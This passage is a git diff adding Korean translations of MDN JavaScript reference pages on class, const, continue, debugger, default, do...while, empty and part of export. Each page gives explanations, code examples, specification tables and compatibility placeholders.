+<h3 id="같은_클래스를_두_번_선언하려고_시도할_때">같은 클래스를 두 번 선언하려고 시도할 때</h3>
+
+<p>클래스 선언문으로 같은 클래스를 두 번 선언하면 오류가 발생합니다.</p>
+
+<pre class="brush: js">class Foo {};
+class Foo {}; // Uncaught SyntaxError: Identifier 'Foo' has already been declared
+</pre>
+
+<p>이전에 표현식으로 정의한 경우에도 오류가 발생합니다.</p>
+
+<pre class="brush: js">var Foo = class {};
+class Foo {}; // Uncaught TypeError: Identifier 'Foo' has already been declared
+</pre>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-class-definitions', 'Class definitions')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2016', '#sec-class-definitions', 'Class definitions')}}</td>
+ <td>{{Spec2('ES2016')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2017', '#sec-class-definitions', 'Class definitions')}}</td>
+ <td>{{Spec2('ES2017')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-class-definitions', 'Class definitions')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.statements.class")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{jsxref("Statements/function", "function")}} 선언문</li>
+ <li>{{jsxref("Operators/class", "class")}} 표현식</li>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Classes">클래스</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/statements/const/index.html b/files/ko/web/javascript/reference/statements/const/index.html
new file mode 100644
index 0000000000..1cbd7ea7aa
--- /dev/null
+++ b/files/ko/web/javascript/reference/statements/const/index.html
@@ -0,0 +1,136 @@
+---
+title: const
+slug: Web/JavaScript/Reference/Statements/const
+tags:
+ - ECMAScript 2015
+ - JavaScript
+ - Reference
+ - Statement
+ - constants
+translation_of: Web/JavaScript/Reference/Statements/const
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p><strong><code>const</code> 선언</strong>은 블록 범위의 상수를 선언합니다. 상수의 값은 재할당할 수 없으며 다시 선언할 수도 없습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-const.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">const <em>name1 = <em>value1 [</em>, <em>name2</em> = <em>value2</em><em> [</em>, ... [</em>, <em>nameN</em> = <em>valueN]]]</em>;</pre>
+
+<dl>
+ <dt><code>nameN</code></dt>
+ <dd>상수의 이름. 아무 유효한 {{Glossary("identifier", "식별자")}}를 사용할 수 있습니다.</dd>
+ <dt><code>valueN</code></dt>
+ <dd>상수의 값. 아무 유효한 <a href="/ko/docs/Web/JavaScript/Guide/Expressions_and_Operators#표현식">표현식</a>이나 가능합니다.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p>이 선언은 선언된 함수에 전역 또는 지역일 수 있는 상수를 만듭니다. 상수 초기자(initializer)가 필요합니다. 즉 선언되는 같은 문에 그 값을 지정해야 합니다(이는 나중에 변경될 수 없는 점을 감안하면 말이 됩니다).</p>
+
+<p>상수는 <code><a href="/ko/docs/Web/JavaScript/Reference/Statements/let">let</a></code> 문을 사용하여 정의된 변수와 마찬가지로 블록 범위(block-scope)입니다. 상수의 값은 재할당을 통해 바뀔 수 없고 재선언될 수 없습니다.</p>
+
+<p><code><a href="/ko/docs/Web/JavaScript/Reference/Statements/let">let</a></code>에 적용한 "<a href="/ko/docs/Web/JavaScript/Reference/Statements/let#Temporal_dead_zone_and_errors_with_let" title="temporal dead zone">일시적 사각 지대</a>"에 관한 모든 고려는, <code>const</code>에도 적용합니다.</p>
+
+<p>상수는 같은 범위의 상수 또는 변수와 그 이름을 공유할 수 없습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제는 상수가 어떻게 동작하는지 보입니다. 브라우저 콘솔에서 따라해보세요.</p>
+
+<pre class="brush:js">// 주의: 상수 선언에는 대소문자 모두 사용할 수 있지만,
+// 일반적인 관습은 모두 대문자를 사용하는 것입니다.
+
+// MY_FAV를 상수로 정의하고 그 값을 7로 함
+const MY_FAV = 7;
+
+// 에러가 발생함
+MY_FAV = 20;
+
+// 7 출력
+console.log("my favorite number is: " + MY_FAV);
+
+// 상수를 재선언하려는 시도는 오류 발생 - Uncaught SyntaxError: Identifier 'MY_FAV' has already been declared
+const MY_FAV = 20;
+
+// MY_FAV라는 이름은 위에서 상수로 예약되어 있어서 역시 실패함.
+var MY_FAV = 20;
+
+<code>// 역시 오류가 발생함
+let MY_FAV = 20;
+
+// 블록 범위의 특성을 아는게 중요
+if (MY_FAV === 7) {
+  // 블록 범위로 지정된 MY_FAV 라는 변수를 만드므로 괜찮습니다
+  // (let으로 const 변수가 아닌 블록 범위를 선언하는 것과 똑같이 동작합니다)
+ let MY_FAV = 20;
+
+ // MY_FAV는 이제 20입니다
+ console.log('my favorite number is ' + MY_FAV);
+
+  // 이 선언은 전역으로 호이스트되고 에러가 발생합니다.
+ var MY_FAV = 20;
+}
+
+// MY_FAV는 여전히 7
+console.log('my favorite number is ' + MY_FAV);
+
+// const 선언시에 초기값을 생략해서 오류 발생
+const FOO;
+
+// const는 오브젝트에도 잘 동작합니다
+const MY_OBJECT = {'key': 'value'};
+
+// 오브젝트를 덮어쓰면 오류가 발생합니다
+MY_OBJECT = {'OTHER_KEY': 'value'};
+
+// 하지만 오브젝트의 키는 보호되지 않습니다.
+// 그러므로 아래 문장은 문제없이 실행됩니다
+MY_OBJECT.key = 'otherValue'; // 오브젝트를 변경할 수 없게 하려면 Object.freeze() 를 사용해야 합니다
+
+// 배열에도 똑같이 적용됩니다
+const MY_ARRAY = [];
+// 배열에 아이템을 삽입하는 건 가능합니다
+MY_ARRAY.push('A'); // ["A"]
+// 하지만 변수에 새로운 배열을 배정하면 에러가 발생합니다
+MY_ARRAY = ['B']</code></pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-let-and-const-declarations', 'Let and Const Declarations')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>초기 정의.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-let-and-const-declarations', 'Let and Const Declarations')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.statements.const")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Statements/var"><code>var</code></a></li>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Statements/let"><code>let</code></a></li>
+ <li><a href="/ko/docs/Web/JavaScript/Guide/Values,_variables,_and_literals#Constants">JavaScript 안내서의 상수</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/statements/continue/index.html b/files/ko/web/javascript/reference/statements/continue/index.html
new file mode 100644
index 0000000000..f0d67deea2
--- /dev/null
+++ b/files/ko/web/javascript/reference/statements/continue/index.html
@@ -0,0 +1,164 @@
+---
+title: continue
+slug: Web/JavaScript/Reference/Statements/continue
+translation_of: Web/JavaScript/Reference/Statements/continue
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p><strong>continue</strong> 문은 현재 또는 레이블이 지정된 루프의 현재 반복에서 명령문의 실행을 종료하고 반복문의 처음으로 돌아가여 루프문의 다음 코드를 실행합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-continue.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">continue [<em>label</em>];</pre>
+
+<dl>
+ <dt><code>label</code></dt>
+ <dd>
+ <p>명령문의 레이블과 연관된 식별자.</p>
+ </dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p>{{jsxref ( "Statements / break", "break")}} 문과 달리 <code>continue</code>는 루프의 실행을 완전히 종료하지 않고 <code>for</code>, <code>while</code>문에서 다음과 같이 동작합니다.</p>
+
+<ul>
+ <li>{{jsxref ( "Statements / while", "while")}} 루프에서는 다시 조건으로 점프합니다.</li>
+</ul>
+
+<ul>
+ <li>{{jsxref ( "Statements / for", "for")}} 루프에서는 업데이트 표현식으로 점프합니다.</li>
+</ul>
+
+<p><code>continue</code> 문에는 현재 루프 대신 레이블이 지정된 루프 문의 다음 반복으로 건너 뛰도록하는 선택적 레이블이 포함될 수 있습니다. 이 경우, <code>continue</code> 문은 이 레이블 된 명령문 내에 중첩되어야합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Using_continue_with_while">Using <code>continue</code> with <code>while</code></h3>
+
+<p>다음 예제에서는 <code>i</code>의 값이 3일 때 실행되는 <code>continue</code>문을 포함하는 {{jsxref("Statements/while", "while")}}을 보여줍니다. 따라서 n은 1, 3, 7 및 12 값을 갖습니다.</p>
+
+<pre class="brush: js">var i = 0;
+var n = 0;
+
+while (i &lt; 5) {
+ i++;
+
+ if (i === 3) {
+ continue;
+ }
+
+ n += i;
+}
+</pre>
+
+<h3 id="label과_함께_continue_사용하기">label과 함께 <code>continue</code> 사용하기</h3>
+
+<p>다음 예제에서 <code>checkiandj</code>라는 문에는 <code>checkj</code>라는 문이 있습니다. <code>continue</code>가 발생하면 프로그램은 <code>checkj</code> 문의 맨 위에서 계속됩니다. <code>continue</code>가 발생할 때마다 <code>checkj</code>는 조건이 false를 반환 할 때까지 반복합니다. false가 리턴되면 나머지 <code>checkiandj</code> 문이 완료됩니다.</p>
+
+<p><code>continue</code>에 <code>checkiandj</code> 레이블이 있으면이 프로그램은 <code>checkiandj</code> 문 맨 위에서 계속됩니다.</p>
+
+<p>See also {{jsxref("Statements/label", "label")}}.</p>
+
+<pre class="brush: js">var i = 0;
+var j = 8;
+
+checkiandj: while (i &lt; 4) {
+ console.log('i: ' + i);
+ i += 1;
+
+ checkj: while (j &gt; 4) {
+ console.log('j: ' + j);
+ j -= 1;
+
+ if ((j % 2) == 0)
+ continue checkj;
+ console.log(j + ' is odd.');
+ }
+ console.log('i = ' + i);
+ console.log('j = ' + j);
+}
+</pre>
+
+<p>출력:</p>
+
+<pre class="brush: js">i: 0
+
+// start checkj
+j: 8
+7 is odd.
+j: 7
+j: 6
+5 is odd.
+j: 5
+// end checkj
+
+i = 1
+j = 4
+
+i: 1
+i = 2
+j = 4
+
+i: 2
+i = 3
+j = 4
+
+i: 3
+i = 4
+j = 4
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Unlabeled version.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES3')}}</td>
+ <td>{{Spec2('ES3')}}</td>
+ <td>Labeled version added.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-12.7', 'Continue statement')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-continue-statement', 'Continue statement')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-continue-statement', 'Continue statement')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.statements.continue")}}</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li>{{jsxref("Statements/break", "break")}}</li>
+ <li>{{jsxref("Statements/label", "label")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/statements/debugger/index.html b/files/ko/web/javascript/reference/statements/debugger/index.html
new file mode 100644
index 0000000000..4f081282b9
--- /dev/null
+++ b/files/ko/web/javascript/reference/statements/debugger/index.html
@@ -0,0 +1,79 @@
+---
+title: debugger
+slug: Web/JavaScript/Reference/Statements/debugger
+tags:
+ - JavaScript
+ - Reference
+ - Statement
+translation_of: Web/JavaScript/Reference/Statements/debugger
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p><strong><code>debugger</code> 문</strong>은 중단점 설정 등 현재 사용할 수 있는 디버그 기능을 호출합니다. 사용할 수있는 디버깅 기능이 없으면 아무런 동작도 하지 않습니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">debugger;</pre>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제에서는 함수가 호출 시 디버거를 활성화하도록 <code>debugger</code>를 삽입한 모습입니다.</p>
+
+<pre class="brush:js">function potentiallyBuggyCode() {
+ debugger;
+ // 버그가 있을 것으로 생각하는 코드를 분석하거나, 한 단계씩 진행해보거나...
+}</pre>
+
+<p>디버거가 활성화되면 디버거 문의 위치에서 실행이 일시중지됩니다. 스크립트 소스의 중단점과 비슷합니다.</p>
+
+<p><a href="https://mdn.mozillademos.org/files/6963/Screen Shot 2014-02-07 at 9.14.35 AM.png"><img alt="Paused at a debugger statement." src="https://mdn.mozillademos.org/files/6963/Screen%20Shot%202014-02-07%20at%209.14.35%20AM.png" style="height: 371px; width: 700px;"></a></p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-debugger-statement', 'Debugger statement')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-debugger-statement', 'Debugger statement')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-12.15', 'Debugger statement')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES3', '#sec-7.5.3', 'Debugger statement')}}</td>
+ <td>{{Spec2('ES3')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1', '#sec-7.4.3', 'Debugger statement')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Only mentioned as reserved word.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.statements.debugger")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Mozilla/Debugging/Debugging_JavaScript">JavaScript 디버깅</a></li>
+ <li><a href="/ko/docs/도구들/Debugger">Firefox 개발자 도구의 디버거</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/statements/default/index.html b/files/ko/web/javascript/reference/statements/default/index.html
new file mode 100644
index 0000000000..d8d107e774
--- /dev/null
+++ b/files/ko/web/javascript/reference/statements/default/index.html
@@ -0,0 +1,121 @@
+---
+title: default
+slug: Web/JavaScript/Reference/Statements/default
+tags:
+ - JavaScript
+ - Keyword
+ - Reference
+translation_of: Web/JavaScript/Reference/Statements/switch
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p><code><strong>default</strong></code> 키워드는 {{jsxref("Statements/switch", "switch")}} 구문과 {{jsxref("Statements/export", "export")}} 구문에서 사용할 수 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-default.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<p>{{jsxref("Statements/switch", "switch")}} 구문 내에서는 다음과 같이 사용합니다.</p>
+
+<pre class="syntaxbox">switch (expression) {
+ case value1:
+ //Statements executed when the result of expression matches value1
+ [break;]
+ default:
+ //Statements executed when none of the values match the value of the expression
+ [break;]
+}</pre>
+
+<p>{{jsxref("Statements/export", "export")}} 구문 내에서는 다음과 같이 사용합니다.</p>
+
+<pre class="syntaxbox">export default <em>nameN</em> </pre>
+
+<h2 id="설명">설명</h2>
+
+<p>세부사항을 보려면,</p>
+
+<ul>
+ <li>{{jsxref("Statements/switch", "switch")}} 구문,</li>
+ <li>{{jsxref("Statements/export", "export")}} 구문 페이지를 확인하세요.</li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="switch에서_default_사용"><code>switch</code>에서 <code>default</code> 사용</h3>
+
+<p>아래 예제에서 <code>expr</code> 이 "오렌지" 또는 "사과"일 때, 프로그램은 값을 "오렌지" 또는 "사과"와 일치시키고 해당 명령문을 실행합니다. 기본(<code>default</code>) 키워드는 다른 경우에 도움이 되며 연관된 명령문을 실행합니다.</p>
+
+<pre class="brush: js">switch (expr) {
+ case '오렌지':
+ console.log('오렌지는 1000원입니다.');
+ break;
+ case '사과':
+ console.log('사과는 500원입니다.');
+ break;
+ default:
+ console.log('죄송합니다. ' + expr + '의 재고가 다 떨어졌습니다.');
+}</pre>
+
+<h3 id="export에서_default_사용"><code>export</code>에서 <code>default</code> 사용</h3>
+
+<p>단일 값을 내보내거나 모듈의 기본 값이 필요한 경우, 기본 내보내기를 사용할 수 있습니다.</p>
+
+<pre class="brush: js">// module "my-module.js"
+let cube = function cube(x) {
+ return x * x * x;
+};
+export default cube;</pre>
+
+<p>다른 스크립트에서 가져오는 건 간단합니다.</p>
+
+<pre class="brush: js">// module "my-module.js"
+import cube from 'my-module'; //default export gave us the liberty to say import cube, instead of import cube from 'my-module'
+console.log(cube(3)); // 27
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-switch-statement', 'switch statement')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-exports', 'Exports')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-switch-statement', 'switch statement')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-exports', 'Exports')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.statements.default")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Statements/export", "export")}}</li>
+ <li>{{jsxref("Statements/switch", "switch")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/statements/do...while/index.html b/files/ko/web/javascript/reference/statements/do...while/index.html
new file mode 100644
index 0000000000..f6d2e00c57
--- /dev/null
+++ b/files/ko/web/javascript/reference/statements/do...while/index.html
@@ -0,0 +1,78 @@
+---
+title: do...while
+slug: Web/JavaScript/Reference/Statements/do...while
+tags:
+ - 구문
+ - 자바스크립트
+translation_of: Web/JavaScript/Reference/Statements/do...while
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p><strong><code>do...while</code> 문은</strong> 테스트 조건이 거짓으로 평가될 때까지 지정된 구문을 실행하는 루프를 만듭니다.<br>
+ 단, 구문이 실행된 뒤에 테스트 조건이 평가됨으로 구문은 무조건 한 번은 실행됩니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-dowhile.html")}}</div>
+
+<div class="hidden">이 예제의 소스는 GitHub 저장소에 저장됩니다. 만약 이 프로젝트에 기여하고 싶으시다면, <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> 를 복사하고 저희에게 pull request 를 보내주십시오.</div>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox notranslate">do<em>구문</em>
+while (<em>조건식</em>);
+</pre>
+
+<dl>
+ <dt><code><em>구문</em></code></dt>
+ <dd>테스트 조건이 참일 때마다 한 번이상 실행되는 구문입니다. 만약 루프 내에서 여러 구문을 반복 실행 시키고 싶으시다면, 다음 명령을 사용합니다.</dd>
+ <dd>{{jsxref("Statements/block", "block", "", 1)}} 구문을 활용하여 (<code>{ ... }</code>) 이런 식으로 그룹화합니다.</dd>
+</dl>
+
+<dl>
+ <dt><code><em>조건식</em></code></dt>
+ <dd>루프가 실행될 때마다 평가되는 식입니다. 만약 조건식이 참으로 평가되었다면, <code>구문</code> 이 다시 실행됩니다. 만약 조건식이 거짓으로 평가되었다면, 자바스크립트는 <code>do...while</code>. 구문 밑에 있는 구문들을 실행시킵니다.</dd>
+</dl>
+
+<h2 id="Examples" name="Examples">예제</h2>
+
+<h3 id="do...while"><code>do...while</code></h3>
+
+<p>예제에서 <code>do...while</code> 문은 적어도 한번 반복되고 i 변수가 5 보다 작을 때까지 실행됩니다.</p>
+
+<pre class="brush: js notranslate">var result = '';
+var i = 0;
+do {
+   i += 1;
+   result += i + ' ';
+}
+while (i &gt; 0 &amp;&amp; i &lt; 5);
+// Despite i == 0 this will still loop as it starts off without the test
+
+console.log(result);</pre>
+
+<h2 id="자세한_내용">자세한 내용</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-do-while-statement', 'do-while statement')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">이 페이지의 브라우저 호환성 표는 구조화된 데이터에서 생성되었습니다. 만약 이 문서에 기여하고 싶으시다면, <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> 문서를 확인하고 수정한 뒤 pull request 를 보내주십시오.</div>
+
+<p>{{Compat("javascript.statements.do_while")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Statements/while", "while")}}</li>
+ <li>{{jsxref("Statements/for", "for")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/statements/empty/index.html b/files/ko/web/javascript/reference/statements/empty/index.html
new file mode 100644
index 0000000000..c986c6232a
--- /dev/null
+++ b/files/ko/web/javascript/reference/statements/empty/index.html
@@ -0,0 +1,102 @@
+---
+title: empty
+slug: Web/JavaScript/Reference/Statements/Empty
+translation_of: Web/JavaScript/Reference/Statements/Empty
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p><strong>empty</strong> 문은 JavaScript 아무것도 동작하지 않습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-empty.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">;
+</pre>
+
+<h2 id="설명">설명</h2>
+
+<p>empty statement은 JavaScript구문에 하나가 필요할 때 어떤 문도 실행되지 않을 것이라는 것을 나타내는 세미 콜론(;)입니다. 여러개의 문장을 원하지만 JavaScript는 <a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Statements/block">block statement</a>을 사용하여 하나만 허용하며 여러개의 문장을 하나로 결합합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>빈 문은 루프 문과 함께 사용되기도합니다. 빈 루프 본문이있는 다음 예제를 참조하십시오.</p>
+
+<pre class="brush: js">var arr = [1, 2, 3];
+
+// Assign all array values to 0
+for (i = 0; i &lt; arr.length; arr[i++] = 0) /* empty statement */ ;
+
+console.log(arr)
+// [0, 0, 0]
+</pre>
+
+<p><strong>참고:</strong> 정상적인 세미 콜론을 구분하는 것이 그리 쉽지 않기 때문에, empty statement를 사용할 때는 의도적으로 주석을 달아주는것이 좋습니다. 다음 예 에서는 의도한대로 코드가 동작하지 않을것입니다. 아마도 killTheUniverse()를 if문 안에서 실행하고자 했던것 같습니다.</p>
+
+<pre class="brush: js">if (condition); // Caution, this "if" does nothing!
+ killTheUniverse() // So this always gets executed!!!
+</pre>
+
+<p>다른 예 : 중괄호 ({})가없는 <a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Statements/if...else"><code>if...else</code></a> 문에서 <code>three</code>가 <code>true</code>이면 아무 일도 일어나지 않고 <code>four</code>를 건너 뛰고 else case의 launchRocket() 함수도 실행되지 않습니다.</p>
+
+<pre class="brush: js">if (one)
+ doOne();
+else if (two)
+ doTwo();
+else if (three)
+ ; // nothing here
+else if (four)
+ doFour();
+else
+ launchRocket();</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-empty-statement', 'Empty statement')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-empty-statement', 'Empty statement')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-12.3', 'Empty statement')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES3', '#sec-12.3', 'Empty statement')}}</td>
+ <td>{{Spec2('ES3')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1', '#sec-12.3', 'Empty statement')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.statements.empty")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Statements/block", "Block statement")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/statements/export/index.html b/files/ko/web/javascript/reference/statements/export/index.html
new file mode 100644
index 0000000000..1c15d4e7f9
--- /dev/null
+++ b/files/ko/web/javascript/reference/statements/export/index.html
@@ -0,0 +1,199 @@
+---
+title: export
+slug: Web/JavaScript/Reference/Statements/export
+tags:
+ - ECMAScript 2015
+ - JavaScript
+ - Modules
+ - Reference
+ - Statement
+translation_of: Web/JavaScript/Reference/Statements/export
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p><strong><code>export</code></strong> 문은 JavaScript 모듈에서 함수, 객체, 원시 값을 내보낼 때 사용합니다. 내보낸 값은 다른 프로그램에서 {{jsxref("Statements/import", "import")}} 문으로 가져가 사용할 수 있습니다.</p>
+
+<p>내보내는 모듈은 <code>"use strict"</code>의 존재 유무와 상관없이 무조건 <a href="/ko/docs/Web/JavaScript/Reference/Strict_mode">엄격 모드</a>입니다. <code>export</code> 문은 HTML 안에 작성한 스크립트에서는 사용할 수 없습니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">// 하나씩 내보내기
+export let <var>name1</var>, <var>name2</var>, …, <var>nameN</var>; // var, const도 동일
+export let <var>name1</var> = …, <var>name2</var> = …, …, <var>nameN</var>; // var, const도 동일
+export function functionName(){...}
+export class ClassName {...}
+
+// 목록으로 내보내기
+export { <var>name1</var>, <var>name2</var>, …, <var>nameN</var> };
+
+// 내보내면서 이름 바꾸기
+export { <var>variable1</var> as <var>name1</var>, <var>variable2</var> as <var>name2</var>, …, <var>nameN</var> };
+
+// 비구조화로 내보내기
+export const { <var>name1</var>, <var>name2: bar</var> } = o;
+
+// 기본 내보내기
+export default <em>expression</em>;
+export default function (…) { … } // also class, function*
+export default function name1(…) { … } // also class, function*
+export { <var>name1</var> as default, … };
+
+// 모듈 조합
+export * from …; // does not set the default export
+export * as name1 from …;
+export { <var>name1</var>, <var>name2</var>, …, <var>nameN</var> } from …;
+export { <var>import1</var> as <var>name1</var>, <var>import2</var> as <var>name2</var>, …, <var>nameN</var> } from …;
+export { default } from …;</pre>
+
+<dl>
+ <dt><code>nameN</code></dt>
+ <dd>내보낼 식별자 이름. {{jsxref("Statements/import", "import")}}를 사용해 다른 스크립트에서 가져갈 수 있습니다.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p>내보내기에는 두 종류, <strong>유명</strong>(named)과 <strong>기본</strong>(default) 내보내기가 있습니다. 모듈 하나에서, 유명 내보내기는 여러 개 존재할 수 있지만 기본 내보내기는 하나만 가능합니다. 각 종류는 위의 구문 중 하나와 대응합니다.</p>
+
+<ul>
+ <li>유명 내보내기
+ <pre class="brush: js">// 먼저 선언한 식별자 내보내기
+export { myFunction, myVariable };
+
+// 각각의 식별자 내보내기
+// (변수, 상수, 함수, 클래스)
+export let myVariable = Math.sqrt(2);
+export function myFunction() { ... };
+</pre>
+ </li>
+ <li>기본 내보내기
+ <pre class="brush: js">// 먼저 선언한 식별자 내보내기
+export { myFunction as default };
+
+// 각각의 식별자 내보내기
+export default function () { ... };
+export default class { ... }
+</pre>
+ </li>
+</ul>
+
